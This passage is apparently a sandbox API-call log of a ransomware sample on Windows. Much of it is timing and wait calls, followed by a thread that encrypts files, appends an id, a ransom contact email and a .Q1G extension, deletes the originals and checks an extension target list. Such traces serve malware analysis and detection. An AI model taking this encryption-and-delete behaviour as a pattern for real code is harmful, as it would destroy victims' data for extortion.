dwMilliseconds=0x64) returned 0x102 [0239.327] GetTickCount () returned 0x113232b [0239.327] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0239.659] GetTickCount () returned 0x1132472 [0239.659] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0239.819] GetTickCount () returned 0x113250e [0239.819] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0240.302] GetTickCount () returned 0x11326f2 [0240.302] GetTickCount () returned 0x11326f2 [0240.302] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0240.432] GetTickCount () returned 0x113277e [0240.432] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0240.577] GetTickCount () returned 0x113280b [0240.577] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0240.849] GetTickCount () returned 0x1132914 [0240.849] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0241.076] GetTickCount () returned 0x11329fe [0241.076] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0241.348] GetTickCount () returned 0x1132b07 [0241.348] GetTickCount () returned 0x1132b07 [0241.348] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0241.489] GetTickCount () returned 0x1132b93 [0241.489] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0241.605] GetTickCount () returned 0x1132c10 [0241.605] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0241.735] GetTickCount () returned 0x1132c8d [0241.735] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0241.832] GetTickCount () returned 0x1132cfa [0241.832] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0242.201] GetTickCount () returned 0x1132e61 [0242.201] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0242.339] GetTickCount () returned 0x1132ede [0242.339] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0242.672] GetTickCount () returned 0x1133025 [0242.672] GetTickCount () returned 0x1133025 [0242.672] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0242.884] GetTickCount () returned 0x1133100 [0242.884] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0243.194] GetTickCount () returned 0x1133228 [0243.194] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0243.306] GetTickCount () returned 0x1133295 [0243.306] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0243.618] GetTickCount () returned 0x11333cd [0243.618] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0243.854] GetTickCount () returned 0x11334b7 [0243.854] GetTickCount () returned 0x11334b7 [0243.854] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0244.040] GetTickCount () returned 0x1133563 [0244.040] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0244.663] GetTickCount () returned 0x11337c3 [0244.663] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0245.032] GetTickCount () returned 0x113393a [0245.032] GetTickCount () returned 0x113393a [0245.032] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0245.328] GetTickCount () returned 0x1133a43 [0245.328] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0245.802] GetTickCount () returned 0x1133c17 [0245.802] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0246.359] GetTickCount () returned 0x1133e39 [0246.359] GetTickCount () returned 0x1133e39 [0246.359] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0246.466] GetTickCount () returned 0x1133ea6 [0246.466] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0246.636] GetTickCount () returned 0x1133f52 [0246.636] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0246.850] GetTickCount () returned 0x113401d [0246.850] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0247.134] GetTickCount () returned 0x1134135 [0247.134] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0247.535] GetTickCount () returned 0x11342bb [0247.535] GetTickCount () returned 0x11342bb [0247.535] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0247.756] GetTickCount () returned 0x1134396 [0247.756] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0247.913] GetTickCount () returned 0x1134432 [0247.913] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0248.087] GetTickCount () returned 0x11344dd [0248.088] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0248.242] GetTickCount () returned 0x1134579 [0248.242] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0248.534] GetTickCount () returned 0x11346a2 [0248.534] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0248.779] GetTickCount () returned 0x113479b [0248.779] GetTickCount () returned 0x113479b [0248.779] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0249.102] GetTickCount () returned 0x11348d3 [0249.102] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0249.384] GetTickCount () returned 0x11349ec [0249.384] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0249.644] GetTickCount () returned 0x1134af5 [0249.644] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0249.804] GetTickCount () returned 0x1134b91 [0249.804] GetTickCount () returned 0x1134b91 [0249.804] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0249.983] GetTickCount () returned 0x1134c4d [0249.983] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0251.043] GetTickCount () returned 0x1135071 [0251.046] GetTickCount () returned 0x1135071 [0251.047] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0251.753] GetTickCount () returned 0x113532f [0251.753] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0252.010] GetTickCount () returned 0x1135439 [0252.010] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0252.389] GetTickCount () returned 0x11355af [0252.389] GetTickCount () returned 0x11355af [0252.389] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0252.677] GetTickCount () returned 0x11356c8 [0252.677] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0252.823] GetTickCount () returned 0x1135764 [0252.823] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0252.969] GetTickCount () returned 0x11357f0 [0252.969] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0253.116] GetTickCount () returned 0x113588c [0253.116] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0253.267] GetTickCount () returned 0x1135919 [0253.267] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0253.401] GetTickCount () returned 0x11359a5 [0253.401] GetTickCount () returned 0x11359a5 [0253.401] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0253.622] GetTickCount () returned 0x1135a7f [0253.622] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0253.901] GetTickCount () returned 0x1135b98 [0253.901] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0254.024] GetTickCount () returned 0x1135c15 [0254.024] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0254.469] GetTickCount () returned 0x1135dca [0254.469] GetTickCount () returned 0x1135dca [0254.469] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0254.733] GetTickCount () returned 0x1135ed3 [0254.733] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0255.003] GetTickCount () returned 0x1135fec [0255.003] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0255.206] GetTickCount () returned 0x11360b7 [0255.206] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0255.417] GetTickCount () returned 0x1136181 [0255.417] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0255.593] GetTickCount () returned 0x113622d [0255.593] GetTickCount () returned 0x113622d [0255.594] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0255.821] GetTickCount () returned 0x1136317 [0255.821] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0256.067] GetTickCount () returned 0x1136411 [0256.067] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0256.335] GetTickCount () returned 0x113651a [0256.335] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0256.789] GetTickCount () returned 0x11366de [0256.789] GetTickCount () returned 0x11366de [0256.789] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0256.967] GetTickCount () returned 0x113678a [0256.967] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0257.406] GetTickCount () returned 0x113694e [0257.406] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0257.519] GetTickCount () returned 0x11369bb [0257.519] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0257.731] GetTickCount () returned 0x1136a86 [0257.731] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0257.863] GetTickCount () returned 0x1136b13 [0257.863] GetTickCount () returned 0x1136b13 [0257.863] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.031] GetTickCount () returned 0x1136bbe [0258.031] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.429] GetTickCount () returned 0x1136d44 [0258.429] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.548] GetTickCount () returned 0x1136dc1 [0258.548] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.781] GetTickCount () returned 0x1136eab [0258.781] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.930] GetTickCount () returned 0x1136f37 [0258.930] GetTickCount () returned 0x1136f37 [0258.930] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0259.280] GetTickCount () returned 0x113709e [0259.282] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0259.519] GetTickCount () returned 0x1137188 [0259.519] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0260.829] GetTickCount () returned 0x11376a7 [0260.829] GetTickCount () returned 0x11376a7 [0260.829] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0261.087] GetTickCount () returned 0x11377b0 [0261.087] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x0 [0261.412] GetTickCount () returned 0x11378e8 [0261.412] Sleep (dwMilliseconds=0x64) [0261.863] GetTickCount () returned 0x1137aac [0261.863] GetTickCount () returned 0x1137aac [0261.863] Sleep (dwMilliseconds=0x64) [0262.187] GetTickCount () returned 0x1137bf4 [0262.187] Sleep (dwMilliseconds=0x64) [0262.539] GetTickCount () returned 0x1137d5b [0262.539] Sleep (dwMilliseconds=0x64) [0262.864] GetTickCount () returned 0x1137e93 [0262.864] Sleep (dwMilliseconds=0x64) [0263.166] GetTickCount () returned 0x1137fcb [0263.167] GetTickCount () returned 0x1137fcb [0263.167] Sleep (dwMilliseconds=0x64) [0263.613] GetTickCount () returned 0x113817f [0263.613] Sleep (dwMilliseconds=0x64) [0263.855] GetTickCount () returned 0x1138279 [0263.855] Sleep (dwMilliseconds=0x64) [0264.044] GetTickCount () returned 0x1138334 [0264.044] Sleep (dwMilliseconds=0x64) [0264.380] GetTickCount () returned 0x113848b [0264.380] GetTickCount () returned 0x113848b [0264.380] Sleep (dwMilliseconds=0x64) [0264.602] GetTickCount () returned 0x1138566 [0264.602] Sleep (dwMilliseconds=0x64) [0264.807] GetTickCount () returned 0x1138631 [0264.807] Sleep (dwMilliseconds=0x64) [0265.012] GetTickCount () returned 0x11386fb [0265.012] Sleep (dwMilliseconds=0x64) [0265.316] GetTickCount () returned 0x1138833 [0265.316] Sleep (dwMilliseconds=0x64) [0265.511] GetTickCount () returned 0x11388ef [0265.511] GetTickCount () returned 0x11388ef [0265.511] Sleep (dwMilliseconds=0x64) [0265.647] GetTickCount () returned 0x113897b [0265.647] Sleep (dwMilliseconds=0x64) [0265.819] GetTickCount () returned 0x1138a27 [0265.819] Sleep (dwMilliseconds=0x64) [0266.056] GetTickCount () returned 0x1138b11 [0266.056] Sleep (dwMilliseconds=0x64) Thread: id = 71 os_tid = 0x5e0 Thread: id = 72 os_tid = 0x620 [0235.766] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x5ef178 [0235.766] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x5ff180 [0235.766] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5813f0 [0235.766] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x57efd8 [0235.767] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581408 [0235.767] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x38f0020 [0235.767] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581420 [0235.767] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581420, Size=0x20) returned 0x59ebd0 [0235.767] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581420 [0235.767] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581420, Size=0x20) returned 0x59eba8 [0235.767] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.767] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.767] Wow64DisableWow64FsRedirection (in: OldValue=0x2c9ff58 | out: OldValue=0x2c9ff58*=0x0) returned 1 [0235.767] lstrlenW (lpString="kernel32.dll") returned 12 [0235.767] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59ebd0 | out: hHeap=0x530000) returned 1 [0235.767] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.767] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59eba8 | out: hHeap=0x530000) returned 1 [0235.767] Sleep (dwMilliseconds=0x64) [0235.986] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0235.986] lstrlenW (lpString="bootsqm.dat") returned 11 [0235.986] CreateFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.082] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3264) returned 1 [0236.082] CloseHandle (hObject=0x220) returned 1 [0236.082] GetFileAttributesW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 0x80 [0236.083] GetFileAttributesW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\bootsqm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.083] CreateFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.083] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.083] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.083] CreateFileW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\bootsqm.dat.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274 [0236.145] GetLastError () returned 0x0 [0236.145] ReadFile (in: hFile=0x220, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xcc0, lpOverlapped=0x0) returned 1 [0236.221] WriteFile (in: hFile=0x274, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xcd0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xcd0, lpOverlapped=0x0) returned 1 [0236.221] ReadFile (in: hFile=0x220, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.221] WriteFile (in: hFile=0x274, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0236.221] SetEndOfFile (hFile=0x274) returned 1 [0236.222] CloseHandle (hObject=0x274) returned 1 [0236.222] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.222] SetEndOfFile (hFile=0x220) returned 1 [0236.223] CloseHandle (hObject=0x220) returned 1 [0236.223] SetFileAttributesW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x80) returned 1 [0236.223] DeleteFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 1 [0236.223] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.223] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.223] lstrlenW (lpString=".doc") returned 4 [0236.223] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0236.223] lstrlenW (lpString=".docx") returned 5 [0236.223] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0236.223] lstrlenW (lpString=".pdf") returned 4 [0236.223] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0236.223] lstrlenW (lpString=".xls") returned 4 [0236.223] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0236.223] lstrlenW (lpString=".xlsx") returned 5 [0236.223] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0236.223] lstrlenW (lpString=".ppt") returned 4 [0236.223] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0236.223] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.224] lstrlenW (lpString=".zip") returned 4 [0236.224] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString=".rar") returned 4 [0236.224] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString=".bz2") returned 4 [0236.224] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0236.224] lstrlenW (lpString=".7z") returned 3 [0236.224] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0236.224] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.224] lstrlenW (lpString=".dbf") returned 4 [0236.224] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.224] lstrlenW (lpString=".1cd") returned 4 [0236.224] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0236.224] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.224] lstrlenW (lpString=".jpg") returned 4 [0236.224] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.224] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.224] lstrlenW (lpString=".doc") returned 4 [0236.224] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString=".docx") returned 5 [0236.224] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0236.224] lstrlenW (lpString=".pdf") returned 4 [0236.224] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString=".xls") returned 4 [0236.224] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString=".xlsx") returned 5 [0236.224] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0236.224] lstrlenW (lpString=".ppt") returned 4 [0236.224] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.224] lstrlenW (lpString=".zip") returned 4 [0236.224] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString=".rar") returned 4 [0236.224] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0236.224] lstrlenW (lpString=".bz2") returned 4 [0236.225] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0236.225] lstrlenW (lpString=".7z") returned 3 [0236.225] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0236.225] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.225] lstrlenW (lpString=".dbf") returned 4 [0236.225] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0236.225] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.225] lstrlenW (lpString=".1cd") returned 4 [0236.225] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0236.225] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0236.225] lstrlenW (lpString=".jpg") returned 4 [0236.225] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0236.225] Sleep (dwMilliseconds=0x64) [0236.335] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0236.336] lstrlenW (lpString="ipscsy.xml") returned 10 [0236.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.701] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2556) returned 1 [0236.701] CloseHandle (hObject=0x314) returned 1 [0236.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0236.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.701] lstrlenW (lpString=".doc") returned 4 [0236.701] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.701] lstrlenW (lpString=".docx") returned 5 [0236.701] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0236.702] lstrlenW (lpString=".pdf") returned 4 [0236.702] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString=".xls") returned 4 [0236.702] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString=".xlsx") returned 5 [0236.702] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0236.702] lstrlenW (lpString=".ppt") returned 4 [0236.702] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.702] lstrlenW (lpString=".zip") returned 4 [0236.702] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.702] lstrlenW (lpString=".rar") returned 4 [0236.702] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString=".bz2") returned 4 [0236.702] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString=".7z") returned 3 [0236.702] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.702] lstrlenW (lpString=".dbf") returned 4 [0236.702] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.702] lstrlenW (lpString=".1cd") returned 4 [0236.702] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.702] lstrlenW (lpString=".jpg") returned 4 [0236.702] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.702] lstrlenW (lpString=".doc") returned 4 [0236.702] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString=".docx") returned 5 [0236.702] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0236.702] lstrlenW (lpString=".pdf") returned 4 [0236.702] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.702] lstrlenW (lpString=".xls") returned 4 [0236.702] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.703] lstrlenW (lpString=".xlsx") returned 5 [0236.703] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0236.703] lstrlenW (lpString=".ppt") returned 4 [0236.703] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.703] lstrlenW (lpString=".zip") returned 4 [0236.703] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.703] lstrlenW (lpString=".rar") returned 4 [0236.703] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.703] lstrlenW (lpString=".bz2") returned 4 [0236.703] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.703] lstrlenW (lpString=".7z") returned 3 [0236.703] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.703] lstrlenW (lpString=".dbf") returned 4 [0236.703] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0236.703] lstrlenW (lpString=".1cd") returned 4 [0236.703] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 